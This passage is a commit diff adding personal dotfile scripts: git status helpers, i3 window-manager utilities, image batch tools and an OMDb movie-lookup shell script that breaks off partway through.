bin/.bin/git/git-st
Executable file
44
bin/.bin/git/git-st
Executable file
|
@ -0,0 +1,44 @@
|
|||
#!/bin/sh
|
||||
# Came from here: https://raw.githubusercontent.com/PlatyPew/dotfiles/master/configs/git/git-st
|
||||
IFS=
|
||||
status="$(git -c color.status=always status -sb)"
|
||||
if [ $? -ne 0 ]
|
||||
then
|
||||
exit 1
|
||||
fi
|
||||
|
||||
diff="$(git diff --color --stat HEAD 2> /dev/null | sed '$d; s/^ //' | cut -d '|' -f 2)"
|
||||
|
||||
IFS=$'\n' status=($status)
|
||||
IFS=$'\n' diff=($diff)
|
||||
|
||||
len=-1
|
||||
for i in $(seq 1 $(( ${#status[@]} - 1)))
|
||||
do
|
||||
if [ ${#status[i]} -gt $len ]
|
||||
then
|
||||
len=${#status[i]}
|
||||
fi
|
||||
done
|
||||
(( len *= -1 ))
|
||||
|
||||
for i in $(seq 0 $(( ${#status[@]} - 1)))
|
||||
do
|
||||
currStatus=${status[i]}
|
||||
if [ $i -eq 0 ]
|
||||
then
|
||||
echo "${status[0]}" | cut -d ' ' -f 2-
|
||||
else
|
||||
if [ ! -z ${diff[i - 1]} ]
|
||||
then
|
||||
currDiff="|${diff[i - 1]}"
|
||||
else
|
||||
currDiff=""
|
||||
fi
|
||||
printf "%*s %s\n" $len "${currStatus}" "${currDiff}"
|
||||
fi
|
||||
done
|
||||
if [ $(( ${#status[@]} - 1)) -eq 0 ]
|
||||
then
|
||||
printf "\033[93mNothing to commit, working tree clean\033[0m\n"
|
||||
fi
|
364
bin/.bin/git/git-wtf
Executable file
364
bin/.bin/git/git-wtf
Executable file
|
@ -0,0 +1,364 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
HELP = <<EOS
|
||||
git-wtf displays the state of your repository in a readable, easy-to-scan
|
||||
format. It's useful for getting a summary of how a branch relates to a remote
|
||||
server, and for wrangling many topic branches.
|
||||
|
||||
git-wtf can show you:
|
||||
- How a branch relates to the remote repo, if it's a tracking branch.
|
||||
- How a branch relates to integration branches, if it's a feature branch.
|
||||
- How a branch relates to the feature branches, if it's an integration
|
||||
branch.
|
||||
|
||||
git-wtf is best used before a git push, or between a git fetch and a git
|
||||
merge. Be sure to set color.ui to auto or yes for maximum viewing pleasure.
|
||||
EOS
|
||||
|
||||
KEY = <<EOS
|
||||
KEY:
|
||||
() branch only exists locally
|
||||
{} branch only exists on a remote repo
|
||||
[] branch exists locally and remotely
|
||||
|
||||
x merge occurs both locally and remotely
|
||||
~ merge occurs only locally
|
||||
(space) branch isn't merged in
|
||||
|
||||
(It's possible for merges to occur remotely and not locally, of course, but
|
||||
that's a less common case and git-wtf currently doesn't display anything
|
||||
special for it.)
|
||||
EOS
|
||||
|
||||
USAGE = <<EOS
|
||||
Usage: git wtf [branch+] [options]
|
||||
|
||||
If [branch] is not specified, git-wtf will use the current branch. The possible
|
||||
[options] are:
|
||||
|
||||
-l, --long include author info and date for each commit
|
||||
-a, --all show all branches across all remote repos, not just
|
||||
those from origin
|
||||
-A, --all-commits show all commits, not just the first 5
|
||||
-s, --short don't show commits
|
||||
-k, --key show key
|
||||
-r, --relations show relation to features / integration branches
|
||||
--dump-config print out current configuration and exit
|
||||
|
||||
git-wtf uses some heuristics to determine which branches are integration
|
||||
branches, and which are feature branches. (Specifically, it assumes the
|
||||
integration branches are named "master", "next" and "edge".) If it guesses
|
||||
incorrectly, you will have to create a .git-wtfrc file.
|
||||
|
||||
To start building a configuration file, run "git-wtf --dump-config >
|
||||
.git-wtfrc" and edit it. The config file is a YAML file that specifies the
|
||||
integration branches, any branches to ignore, and the max number of commits to
|
||||
display when --all-commits isn't used. git-wtf will look for a .git-wtfrc file
|
||||
starting in the current directory, and recursively up to the root.
|
||||
|
||||
IMPORTANT NOTE: all local branches referenced in .git-wtfrc must be prefixed
|
||||
with heads/, e.g. "heads/master". Remote branches must be of the form
|
||||
remotes/<remote>/<branch>.
|
||||
EOS
|
||||
|
||||
COPYRIGHT = <<EOS
|
||||
git-wtf Copyright 2008--2009 William Morgan <wmorgan at the masanjin dot nets>.
|
||||
This program is free software: you can redistribute it and/or modify it
|
||||
under the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation, either version 3 of the License, or (at your option)
|
||||
any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful, but WITHOUT
|
||||
ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
|
||||
FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
|
||||
more details.
|
||||
|
||||
You can find the GNU General Public License at: http://www.gnu.org/licenses/
|
||||
EOS
|
||||
|
||||
require 'yaml'
|
||||
CONFIG_FN = ".git-wtfrc"
|
||||
|
||||
class Numeric; def pluralize s; "#{to_s} #{s}" + (self != 1 ? "s" : "") end end
|
||||
|
||||
if ARGV.delete("--help") || ARGV.delete("-h")
|
||||
puts USAGE
|
||||
exit
|
||||
end
|
||||
|
||||
## poor man's trollop
|
||||
$long = ARGV.delete("--long") || ARGV.delete("-l")
|
||||
$short = ARGV.delete("--short") || ARGV.delete("-s")
|
||||
$all = ARGV.delete("--all") || ARGV.delete("-a")
|
||||
$all_commits = ARGV.delete("--all-commits") || ARGV.delete("-A")
|
||||
$dump_config = ARGV.delete("--dump-config")
|
||||
$key = ARGV.delete("--key") || ARGV.delete("-k")
|
||||
$show_relations = ARGV.delete("--relations") || ARGV.delete("-r")
|
||||
ARGV.each { |a| abort "Error: unknown argument #{a}." if a =~ /^--/ }
|
||||
|
||||
## search up the path for a file
|
||||
def find_file fn
|
||||
while true
|
||||
return fn if File.exist? fn
|
||||
fn2 = File.join("..", fn)
|
||||
return nil if File.expand_path(fn2) == File.expand_path(fn)
|
||||
fn = fn2
|
||||
end
|
||||
end
|
||||
|
||||
want_color = `git config color.wtf`
|
||||
want_color = `git config color.ui` if want_color.empty?
|
||||
$color = case want_color.chomp
|
||||
when "true"; true
|
||||
when "auto"; $stdout.tty?
|
||||
end
|
||||
|
||||
def red s; $color ? "\033[31m#{s}\033[0m" : s end
|
||||
def green s; $color ? "\033[32m#{s}\033[0m" : s end
|
||||
def yellow s; $color ? "\033[33m#{s}\033[0m" : s end
|
||||
def cyan s; $color ? "\033[36m#{s}\033[0m" : s end
|
||||
def grey s; $color ? "\033[1;30m#{s}\033[0m" : s end
|
||||
def purple s; $color ? "\033[35m#{s}\033[0m" : s end
|
||||
|
||||
## the set of commits in 'to' that aren't in 'from'.
|
||||
## if empty, 'to' has been merged into 'from'.
|
||||
def commits_between from, to
|
||||
if $long
|
||||
`git log --pretty=format:"- %s [#{yellow "%h"}] (#{purple "%ae"}; %ar)" #{from}..#{to}`
|
||||
else
|
||||
`git log --pretty=format:"- %s [#{yellow "%h"}]" #{from}..#{to}`
|
||||
end.split(/[\r\n]+/)
|
||||
end
|
||||
|
||||
def show_commits commits, prefix=" "
|
||||
if commits.empty?
|
||||
puts "#{prefix} none"
|
||||
else
|
||||
max = $all_commits ? commits.size : $config["max_commits"]
|
||||
max -= 1 if max == commits.size - 1 # never show "and 1 more"
|
||||
commits[0 ... max].each { |c| puts "#{prefix}#{c}" }
|
||||
puts grey("#{prefix}... and #{commits.size - max} more (use -A to see all).") if commits.size > max
|
||||
end
|
||||
end
|
||||
|
||||
def ahead_behind_string ahead, behind
|
||||
[ahead.empty? ? nil : "#{ahead.size.pluralize 'commit'} ahead",
|
||||
behind.empty? ? nil : "#{behind.size.pluralize 'commit'} behind"].
|
||||
compact.join("; ")
|
||||
end
|
||||
|
||||
def widget merged_in, remote_only=false, local_only=false, local_only_merge=false
|
||||
left, right = case
|
||||
when remote_only; %w({ })
|
||||
when local_only; %w{( )}
|
||||
else %w([ ])
|
||||
end
|
||||
middle = case
|
||||
when merged_in && local_only_merge; green("~")
|
||||
when merged_in; green("x")
|
||||
else " "
|
||||
end
|
||||
print left, middle, right
|
||||
end
|
||||
|
||||
def show b
|
||||
have_both = b[:local_branch] && b[:remote_branch]
|
||||
|
||||
pushc, pullc, oosync = if have_both
|
||||
[x = commits_between(b[:remote_branch], b[:local_branch]),
|
||||
y = commits_between(b[:local_branch], b[:remote_branch]),
|
||||
!x.empty? && !y.empty?]
|
||||
end
|
||||
|
||||
if b[:local_branch]
|
||||
puts "Local branch: " + green(b[:local_branch].sub(/^heads\//, ""))
|
||||
|
||||
if have_both
|
||||
if pushc.empty?
|
||||
puts "#{widget true} in sync with remote"
|
||||
else
|
||||
action = oosync ? "push after rebase / merge" : "push"
|
||||
puts "#{widget false} NOT in sync with remote (you should #{action})"
|
||||
show_commits pushc unless $short
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if b[:remote_branch]
|
||||
puts "Remote branch: #{cyan b[:remote_branch]} (#{b[:remote_url]})"
|
||||
|
||||
if have_both
|
||||
if pullc.empty?
|
||||
puts "#{widget true} in sync with local"
|
||||
else
|
||||
action = pushc.empty? ? "merge" : "rebase / merge"
|
||||
puts "#{widget false} NOT in sync with local (you should #{action})"
|
||||
show_commits pullc unless $short
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
puts "\n#{red "WARNING"}: local and remote branches have diverged. A merge will occur unless you rebase." if oosync
|
||||
end
|
||||
|
||||
def show_relations b, all_branches
|
||||
ibs, fbs = all_branches.partition { |name, br| $config["integration-branches"].include?(br[:local_branch]) || $config["integration-branches"].include?(br[:remote_branch]) }
|
||||
if $config["integration-branches"].include? b[:local_branch]
|
||||
puts "\nFeature branches:" unless fbs.empty?
|
||||
fbs.each do |name, br|
|
||||
next if $config["ignore"].member?(br[:local_branch]) || $config["ignore"].member?(br[:remote_branch])
|
||||
next if br[:ignore]
|
||||
local_only = br[:remote_branch].nil?
|
||||
remote_only = br[:local_branch].nil?
|
||||
name = if local_only
|
||||
purple br[:name]
|
||||
elsif remote_only
|
||||
cyan br[:name]
|
||||
else
|
||||
green br[:name]
|
||||
end
|
||||
|
||||
## for remote_only branches, we'll compute wrt the remote branch head. otherwise, we'll
|
||||
## use the local branch head.
|
||||
head = remote_only ? br[:remote_branch] : br[:local_branch]
|
||||
|
||||
remote_ahead = b[:remote_branch] ? commits_between(b[:remote_branch], head) : []
|
||||
local_ahead = b[:local_branch] ? commits_between(b[:local_branch], head) : []
|
||||
|
||||
if local_ahead.empty? && remote_ahead.empty?
|
||||
puts "#{widget true, remote_only, local_only} #{name} #{local_only ? "(local-only) " : ""}is merged in"
|
||||
elsif local_ahead.empty?
|
||||
puts "#{widget true, remote_only, local_only, true} #{name} merged in (only locally)"
|
||||
else
|
||||
behind = commits_between head, (br[:local_branch] || br[:remote_branch])
|
||||
ahead = remote_only ? remote_ahead : local_ahead
|
||||
puts "#{widget false, remote_only, local_only} #{name} #{local_only ? "(local-only) " : ""}is NOT merged in (#{ahead_behind_string ahead, behind})"
|
||||
show_commits ahead unless $short
|
||||
end
|
||||
end
|
||||
else
|
||||
puts "\nIntegration branches:" unless ibs.empty? # unlikely
|
||||
ibs.sort_by { |v, br| v }.each do |v, br|
|
||||
next if $config["ignore"].member?(br[:local_branch]) || $config["ignore"].member?(br[:remote_branch])
|
||||
next if br[:ignore]
|
||||
local_only = br[:remote_branch].nil?
|
||||
remote_only = br[:local_branch].nil?
|
||||
name = remote_only ? cyan(br[:name]) : green(br[:name])
|
||||
|
||||
ahead = commits_between v, (b[:local_branch] || b[:remote_branch])
|
||||
if ahead.empty?
|
||||
puts "#{widget true, local_only} merged into #{name}"
|
||||
else
|
||||
#behind = commits_between b[:local_branch], v
|
||||
puts "#{widget false, local_only} NOT merged into #{name} (#{ahead.size.pluralize 'commit'} ahead)"
|
||||
show_commits ahead unless $short
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#### EXECUTION STARTS HERE ####
|
||||
|
||||
## find config file and load it
|
||||
$config = { "integration-branches" => %w(heads/master heads/next heads/edge), "ignore" => [], "max_commits" => 5 }.merge begin
|
||||
fn = find_file CONFIG_FN
|
||||
if fn && (h = YAML::load_file(fn)) # yaml turns empty files into false
|
||||
h["integration-branches"] ||= h["versions"] # support old nomenclature
|
||||
h
|
||||
else
|
||||
{}
|
||||
end
|
||||
end
|
||||
|
||||
if $dump_config
|
||||
puts $config.to_yaml
|
||||
exit
|
||||
end
|
||||
|
||||
## first, index registered remotes
|
||||
remotes = `git config --get-regexp ^remote\.\*\.url`.split(/[\r\n]+/).inject({}) do |hash, l|
|
||||
l =~ /^remote\.(.+?)\.url (.+)$/ or next hash
|
||||
hash[$1] ||= $2
|
||||
hash
|
||||
end
|
||||
|
||||
## next, index followed branches
|
||||
branches = `git config --get-regexp ^branch\.`.split(/[\r\n]+/).inject({}) do |hash, l|
|
||||
case l
|
||||
when /branch\.(.*?)\.remote (.+)/
|
||||
name, remote = $1, $2
|
||||
|
||||
hash[name] ||= {}
|
||||
hash[name].merge! :remote => remote, :remote_url => remotes[remote]
|
||||
when /branch\.(.*?)\.merge ((refs\/)?heads\/)?(.+)/
|
||||
name, remote_branch = $1, $4
|
||||
hash[name] ||= {}
|
||||
hash[name].merge! :remote_mergepoint => remote_branch
|
||||
end
|
||||
hash
|
||||
end
|
||||
|
||||
## finally, index all branches
|
||||
remote_branches = {}
|
||||
`git show-ref`.split(/[\r\n]+/).each do |l|
|
||||
sha1, ref = l.chomp.split " refs/"
|
||||
|
||||
if ref =~ /^heads\/(.+)$/ # local branch
|
||||
name = $1
|
||||
next if name == "HEAD"
|
||||
branches[name] ||= {}
|
||||
branches[name].merge! :name => name, :local_branch => ref
|
||||
elsif ref =~ /^remotes\/(.+?)\/(.+)$/ # remote branch
|
||||
remote, name = $1, $2
|
||||
remote_branches["#{remote}/#{name}"] = true
|
||||
next if name == "HEAD"
|
||||
ignore = !($all || remote == "origin")
|
||||
|
||||
branch = name
|
||||
if branches[name] && branches[name][:remote] == remote
|
||||
# nothing
|
||||
else
|
||||
name = "#{remote}/#{branch}"
|
||||
end
|
||||
|
||||
branches[name] ||= {}
|
||||
branches[name].merge! :name => name, :remote => remote, :remote_branch => "#{remote}/#{branch}", :remote_url => remotes[remote], :ignore => ignore
|
||||
end
|
||||
end
|
||||
|
||||
## assemble remotes
|
||||
branches.each do |k, b|
|
||||
next unless b[:remote] && b[:remote_mergepoint]
|
||||
b[:remote_branch] = if b[:remote] == "."
|
||||
b[:remote_mergepoint]
|
||||
else
|
||||
t = "#{b[:remote]}/#{b[:remote_mergepoint]}"
|
||||
remote_branches[t] && t # only if it's still alive
|
||||
end
|
||||
end
|
||||
|
||||
show_dirty = ARGV.empty?
|
||||
targets = if ARGV.empty?
|
||||
[`git symbolic-ref HEAD`.chomp.sub(/^refs\/heads\//, "")]
|
||||
else
|
||||
ARGV.map { |x| x.sub(/^heads\//, "") }
|
||||
end.map { |t| branches[t] or abort "Error: can't find branch #{t.inspect}." }
|
||||
|
||||
targets.each do |t|
|
||||
show t
|
||||
show_relations t, branches if $show_relations || t[:remote_branch].nil?
|
||||
end
|
||||
|
||||
modified = show_dirty && `git ls-files -m` != ""
|
||||
uncommitted = show_dirty && `git diff-index --cached HEAD` != ""
|
||||
|
||||
if $key
|
||||
puts
|
||||
puts KEY
|
||||
end
|
||||
|
||||
puts if modified || uncommitted
|
||||
puts "#{red "NOTE"}: working directory contains modified files." if modified
|
||||
puts "#{red "NOTE"}: staging area contains staged but uncommitted files." if uncommitted
|
||||
|
||||
# the end!
|
19
bin/.bin/i3/ddspawn
Executable file
19
bin/.bin/i3/ddspawn
Executable file
|
@ -0,0 +1,19 @@
|
|||
#!/bin/sh
|
||||
|
||||
#Stolen / Borrowed from Luke Smith https://github.com/LukeSmithxyz/voidrice/blob/master/.scripts/i3cmds/ddspawn
|
||||
|
||||
# Toggle floating dropdown terminal in i3, or start if non-existing.
|
||||
# $1 is the script run in the terminal.
|
||||
# All other args are terminal settings.
|
||||
# Terminal names are in dropdown_* to allow easily setting i3 settings.
|
||||
|
||||
[ -z "$1" ] && exit
|
||||
|
||||
if xwininfo -tree -root | grep "(\"dropdown_$1\" ";
|
||||
then
|
||||
echo "Window detected."
|
||||
i3 "[instance=\"dropdown_$1\"] scratchpad show; [instance=\"dropdown_$1\"] move position center"
|
||||
else
|
||||
echo "Window not detected... spawning."
|
||||
i3 "exec --no-startup-id $TERMINAL -n dropdown_$1 $(echo "$@" | cut -d ' ' -f2-) -e $1"
|
||||
fi
|
3
bin/.bin/i3/dropdownnotepad
Executable file
3
bin/.bin/i3/dropdownnotepad
Executable file
|
@ -0,0 +1,3 @@
|
|||
#!/usr/bin/env sh
|
||||
|
||||
vim --servername jab2870 -c 'startinsert'
|
106
bin/.bin/i3/i3autolayout
Executable file
106
bin/.bin/i3/i3autolayout
Executable file
|
@ -0,0 +1,106 @@
|
|||
#!/usr/bin/env python
|
||||
|
||||
import i3
|
||||
import re
|
||||
import subprocess
|
||||
import getopt
|
||||
import sys
|
||||
import os
|
||||
|
||||
|
||||
def find_parent(window_id):
|
||||
"""
|
||||
Find the parent of a given window id
|
||||
"""
|
||||
root_window = i3.get_tree()
|
||||
result = [None]
|
||||
|
||||
def finder(n, p=None):
|
||||
if result[0] is not None:
|
||||
return
|
||||
for node in n:
|
||||
if node['id'] == window_id:
|
||||
result[0] = p
|
||||
return
|
||||
if len(node['nodes']):
|
||||
finder(node['nodes'], node)
|
||||
|
||||
finder(root_window['nodes'])
|
||||
return result[0]
|
||||
|
||||
|
||||
def set_layout():
|
||||
"""
|
||||
Set the layout/split for the currently
|
||||
focused window to either vertical or
|
||||
horizontal, depending on its width/height
|
||||
"""
|
||||
current_win = i3.filter(nodes=[], focused=True)
|
||||
for win in current_win:
|
||||
parent = find_parent(win['id'])
|
||||
|
||||
if (parent and "rect" in parent
|
||||
and parent['layout'] != 'tabbed'
|
||||
and parent['layout'] != 'stacked'):
|
||||
height = parent['rect']['height']
|
||||
width = parent['rect']['width']
|
||||
|
||||
if height > width:
|
||||
new_layout = 'vertical'
|
||||
else:
|
||||
new_layout = 'horizontal'
|
||||
|
||||
i3.split(new_layout)
|
||||
|
||||
|
||||
def print_help():
|
||||
print("Usage: " + sys.argv[0] + " [-p path/to/pid.file]")
|
||||
print("")
|
||||
print("Options:")
|
||||
print(" -p path/to/pid.file Saves the PID for this program in the filename specified")
|
||||
print("")
|
||||
|
||||
|
||||
def main():
|
||||
"""
|
||||
Main function - listen for window focus
|
||||
changes and call set_layout when focus
|
||||
changes
|
||||
"""
|
||||
opt_list, args = getopt.getopt(sys.argv[1:], 'hp:')
|
||||
pid_file = None
|
||||
for opt in opt_list:
|
||||
if opt[0] == "-h":
|
||||
print_help()
|
||||
sys.exit()
|
||||
if opt[0] == "-p":
|
||||
pid_file = opt[1]
|
||||
|
||||
if pid_file:
|
||||
with open(pid_file, 'w') as f:
|
||||
f.write(str(os.getpid()))
|
||||
|
||||
|
||||
process = subprocess.Popen(
|
||||
['xprop', '-root', '-spy'],
|
||||
stdout=subprocess.PIPE,
|
||||
stderr=subprocess.PIPE
|
||||
)
|
||||
regex = re.compile(b'^_NET_CLIENT_LIST_STACKING|^_NET_ACTIVE_WINDOW')
|
||||
|
||||
last_line = ""
|
||||
while True:
|
||||
line = process.stdout.readline()
|
||||
if line == b'': #X is dead
|
||||
break
|
||||
if line == last_line:
|
||||
continue
|
||||
if regex.match(line):
|
||||
set_layout()
|
||||
last_line = line
|
||||
|
||||
process.kill()
|
||||
sys.exit()
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
31
bin/.bin/i3/i3exit
Executable file
31
bin/.bin/i3/i3exit
Executable file
|
@ -0,0 +1,31 @@
|
|||
#!/bin/sh
|
||||
lock() {
|
||||
~/.dotfiles/i3/fadeLockScreen
|
||||
#i3lock
|
||||
}
|
||||
|
||||
case "$1" in
|
||||
lock)
|
||||
lock
|
||||
;;
|
||||
logout)
|
||||
i3-msg exit
|
||||
;;
|
||||
suspend)
|
||||
systemctl suspend && lock
|
||||
;;
|
||||
hibernate)
|
||||
systemctl hibernate && lock
|
||||
;;
|
||||
reboot)
|
||||
systemctl reboot
|
||||
;;
|
||||
shutdown)
|
||||
systemctl poweroff
|
||||
;;
|
||||
*)
|
||||
echo "Usage: $0 {lock|logout|suspend|hibernate|reboot|shutdown}"
|
||||
exit 2
|
||||
esac
|
||||
|
||||
exit 0
|
52
bin/.bin/images/createGif
Executable file
52
bin/.bin/images/createGif
Executable file
|
@ -0,0 +1,52 @@
|
|||
#!/bin/bash
|
||||
|
||||
# Creates a gif using a list of files from stdin
|
||||
tmpdir="/tmp/sxiv-gif/"
|
||||
rm -rf "$tmpdir"
|
||||
mkdir -p "$tmpdir"
|
||||
|
||||
framerate="prompt"
|
||||
format="gif"
|
||||
extension=""
|
||||
|
||||
while [[ $# -gt 0 ]]; do
|
||||
case "$1" in
|
||||
"-r"|"--framerate")
|
||||
framerate="$2"
|
||||
shift
|
||||
shift
|
||||
;;
|
||||
"--mp4")
|
||||
format="mp4"
|
||||
shift
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
if [[ "$framerate" == "prompt" ]]; then
|
||||
framerate=$(echo -e "0.25\n0.5\n0.75\n1\n2\n5\n10" | rofi -dmenu -p Timeout)
|
||||
fi
|
||||
|
||||
i=1
|
||||
while read file; do
|
||||
extension="${file##*.}"
|
||||
number=$(printf "%03d" $i)
|
||||
echo "$number"
|
||||
cp "$file" "${tmpdir}file${number}.${extension}"
|
||||
i=$((i+1))
|
||||
done
|
||||
|
||||
notify-send "Generating $format from images"
|
||||
|
||||
case "$format" in
|
||||
"mp4")
|
||||
# Not entierly sure what all of these mean but they make it work in most browsers
|
||||
ffmpeg -f image2 -framerate "$framerate" -i "${tmpdir}file%03d.${extension}" -pix_fmt yuv420p -vcodec libx264 -y -vf "pad=ceil(iw/2)*2:ceil(ih/2)*2" "${tmpdir}out.${format}"
|
||||
;;
|
||||
*)
|
||||
ffmpeg -f image2 -framerate "$framerate" -i "${tmpdir}file%03d.${extension}" "${tmpdir}out.${format}"
|
||||
esac
|
||||
|
||||
mv "${tmpdir}out.${format}" "$HOME/Desktop/"
|
||||
|
||||
notify-send "Done" "File in $HOME/Desktop/out.${format}"
|
27
bin/.bin/images/imageResizeFolder
Executable file
27
bin/.bin/images/imageResizeFolder
Executable file
|
@ -0,0 +1,27 @@
|
|||
#!/usr/bin/env bash
|
||||
# Purpose: batch image resizer
|
||||
|
||||
# absolute path to image folder
|
||||
FOLDER="$PWD"
|
||||
|
||||
# max height
|
||||
WIDTH=${1:-"999999"}
|
||||
|
||||
# max width
|
||||
HEIGHT=${2:-"999999"}
|
||||
|
||||
echo "Width: $WIDTH";
|
||||
echo "Height: $HEIGHT";
|
||||
|
||||
#resize png or jpg to either height or width, keeps proportions using imagemagick
|
||||
#find ${PWD} -iname '*.jpg' -o -iname '*.png' -exec echo convert \{} -verbose -resize $WIDTHx$HEIGHT\> \{}.new.jpg \;
|
||||
find ${PWD} \( -iname "*.jpg" -o -iname "*.png" \) -exec convert {} -verbose -resize "$WIDTH"x"$HEIGHT" \{}.new \;
|
||||
|
||||
#resize png to either height or width, keeps proportions using imagemagick
|
||||
#find ${FOLDER} -iname '*.png' -exec convert \{} -verbose -resize $WIDTHx$HEIGHT\> \{} \;
|
||||
|
||||
#resize jpg only to either height or width, keeps proportions using imagemagick
|
||||
#find ${FOLDER} -iname '*.jpg' -exec convert \{} -verbose -resize $WIDTHx$HEIGHT\> \{} \;
|
||||
|
||||
# alternative
|
||||
#mogrify -path ${FOLDER} -resize ${WIDTH}x${HEIGHT}% *.png -verbose
|
22
bin/.bin/images/lanPortImages
Executable file
22
bin/.bin/images/lanPortImages
Executable file
|
@ -0,0 +1,22 @@
|
|||
#!/usr/bin/env bash
|
||||
|
||||
mkdir "portraits"
|
||||
mkdir "landscapes"
|
||||
for f in ./*.jpg; do
|
||||
WIDTH=$(identify -format "%w" "$f")> /dev/null
|
||||
HEIGHT=$(identify -format "%h" "$f")> /dev/null
|
||||
echo "Width: $WIDTH"
|
||||
echo "Height: $HEIGHT"
|
||||
echo ""
|
||||
if [[ "$HEIGHT" > "$WIDTH" ]]; then
|
||||
mv "$f" portraits/
|
||||
else
|
||||
mv "$f" landscapes/
|
||||
fi
|
||||
#if file "$f" 2>&1 | awk '/w =/{w=$5+0; h=$7+0; if (h>w) exit; else exit 1}'
|
||||
#then
|
||||
# mv "$f" portraits/
|
||||
#else
|
||||
# mv "$f" landscapes/
|
||||
#fi
|
||||
done
|
150
bin/.bin/movies
Executable file
150
bin/.bin/movies
Executable file
|
@ -0,0 +1,150 @@
|
|||
#!/bin/bash
|
||||
# Original Author: Alexander Epstein https://github.com/alexanderepstein
|
||||
|
||||
currentVersion="1.11.0"
|
||||
configuredClient=""
|
||||
configuredPython=""
|
||||
|
||||
## This function determines which http get tool the system has installed and returns an error if there isnt one
|
||||
getConfiguredClient()
|
||||
{
|
||||
if command -v curl &>/dev/null ; then
|
||||
configuredClient="curl"
|
||||
elif command -v wget &>/dev/null ; then
|
||||
configuredClient="wget"
|
||||
elif command -v fetch &>/dev/null ; then
|
||||
configuredClient="fetch"
|
||||
else
|
||||
echo "Error: This tool reqires either curl, wget, or fetch to be installed."
|
||||
return 1
|
||||
fi
|
||||
|
||||
}
|
||||
|
||||
getConfiguredPython()
|
||||
{
|
||||
if command -v python2 &>/dev/null ; then
|
||||
configuredPython="python2"
|
||||
elif command -v python &>/dev/null ; then
|
||||
configuredPython="python"
|
||||
else
|
||||
echo "Error: This tool requires python 2 to be installed."
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
|
||||
python()
|
||||
{
|
||||
case "$configuredPython" in
|
||||
python2) python2 "$@";;
|
||||
python) python "$@";;
|
||||
esac
|
||||
}
|
||||
|
||||
## Allows to call the users configured client without if statements everywhere
|
||||
httpGet()
|
||||
{
|
||||
case "$configuredClient" in
|
||||
curl) curl -A curl -s "$@";;
|
||||
wget) wget -qO- "$@";;
|
||||
fetch) fetch -o "...";;
|
||||
esac
|
||||
}
|
||||
|
||||
|
||||
checkInternet()
|
||||
{
|
||||
echo -e "GET http://google.com HTTP/1.0\n\n" | nc google.com 80 > /dev/null 2>&1 # query google with a get request
|
||||
if [ $? -eq 0 ]; then #check if the output is 0, if so no errors have occured and we have connected to google successfully
|
||||
return 0
|
||||
else
|
||||
echo "Error: no active internet connection" >&2 #sent to stderr
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
## This function grabs information about a movie and using python parses the
|
||||
## JSON response to extrapolate the information for storage
|
||||
getMovieInfo()
|
||||
{
|
||||
apiKey=946f500a # try not to abuse this it is a key that came from the ruby-scripts repo I link to.
|
||||
movie=$(echo "$@" | tr " " + ) ## format the inputs to use for the api
|
||||
export PYTHONIOENCODING=utf8 #necessary for python in some cases
|
||||
movieInfo=$(httpGet "http://www.omdbapi.com/?t=$movie&apikey=$apiKey") > /dev/null # query the server and get the JSON response
|
||||
checkResponse=$(echo $movieInfo | python -c "import sys, json; print json.load(sys.stdin)['Response']" 2> /dev/null)
|
||||
if [[ $checkResponse == "False" ]];then { echo "No movie found" ; return 1 ;} fi ## check to see if the movie was found
|
||||
# The rest of the code is just extrapolating the data with python from the JSON response
|
||||
title=$(echo $movieInfo | python -c "import sys, json; print json.load(sys.stdin)['Title']" 2> /dev/null)
|
||||
year=$(echo $movieInfo | python -c "import sys, json; print json.load(sys.stdin)['Year']" 2> /dev/null)
|
||||
score=$(echo $movieInfo | python -c "import sys, json; print json.load(sys.stdin)['Ratings'][1]['Value']" 2> /dev/null)
|
||||
rated=$(echo $movieInfo | python -c "import sys, json; print json.load(sys.stdin)['Rated']" 2> /dev/null)
|
||||
genre=$(echo $movieInfo | python -c "import sys, json; print json.load(sys.stdin)['Genre']" 2> /dev/null)
|
||||
director=$(echo $movieInfo | python -c "import sys, json; print json.load(sys.stdin)['Director']" 2> /dev/null)
|
||||
actors=$(echo $movieInfo | python -c "import sys, json; print json.load(sys.stdin)['Actors']" 2> /dev/null)
|
||||
plot=$(echo $movieInfo | python -c "import sys, json; print json.load(sys.stdin)['Plot']" 2> /dev/null)
|
||||
unset movieInfo # don't need this anymore
|
||||
unset checkResponse # don't need this anymore
|
||||
}
|
||||
|
||||
# Prints the movie information out in a human readable format
|
||||
printMovieInfo()
|
||||
{
|
||||
echo
|
||||
echo '=================================================='
|
||||
echo "| Title: $title"
|
||||
echo "| Year: $year"
|
||||
if [[ $score != "" ]];then echo "| Tomato: $score";fi
|
||||
if [[ $rated != "N/A" && $rated != "" ]];then echo "| Rated: $rated";fi
|
||||
echo "| Genre: $genre"
|
||||
echo "| Director: $director"
|
||||
echo "| Actors: $actors"
|
||||
if [[ $plot != "N/A" && $plot != "" ]];then echo "| Plot: $plot"; fi
|
||||
echo '=================================================='
|
||||
echo
|
||||
}
|
||||
|
||||
|
||||
usage()
|
||||
{
|
||||
echo "Movies tool"
|
||||
echo "Usage: movies [flag] or movies [movieToSearch]"
|
||||
echo " -h Show the help"
|
||||
echo " -v Get the tool version"
|
||||
}
|
||||
|
||||
getConfiguredPython || exit 1
|
||||
getConfiguredClient || exit 1
|
||||
#checkInternet || exit 1 # check if we have a valid internet connection if this isnt true the rest of the script will not work so stop here
|
||||
|
||||
while getopts "uvh" opt; do
|
||||
case $opt in
|
||||
\?)
|
||||
echo "Invalid option: -$OPTARG" >&2
|
||||
exit 1
|
||||
;;
|
||||
h)
|
||||
usage
|
||||
exit 0
|
||||
;;
|
||||
v)
|
||||
echo "Version $currentVersion"
|
||||
exit 0
|
||||
;;
|
||||
:)
|
||||
echo "Option -$OPTARG requires an argument." >&2
|
||||
exit 1
|
||||
;;
|
||||
esac
|
||||
done
|
||||
|
||||
if [[ $# == 0 ]]; then
|
||||
usage
|
||||
elif [[ $1 == "update" ]];then
|
||||
update
|
||||
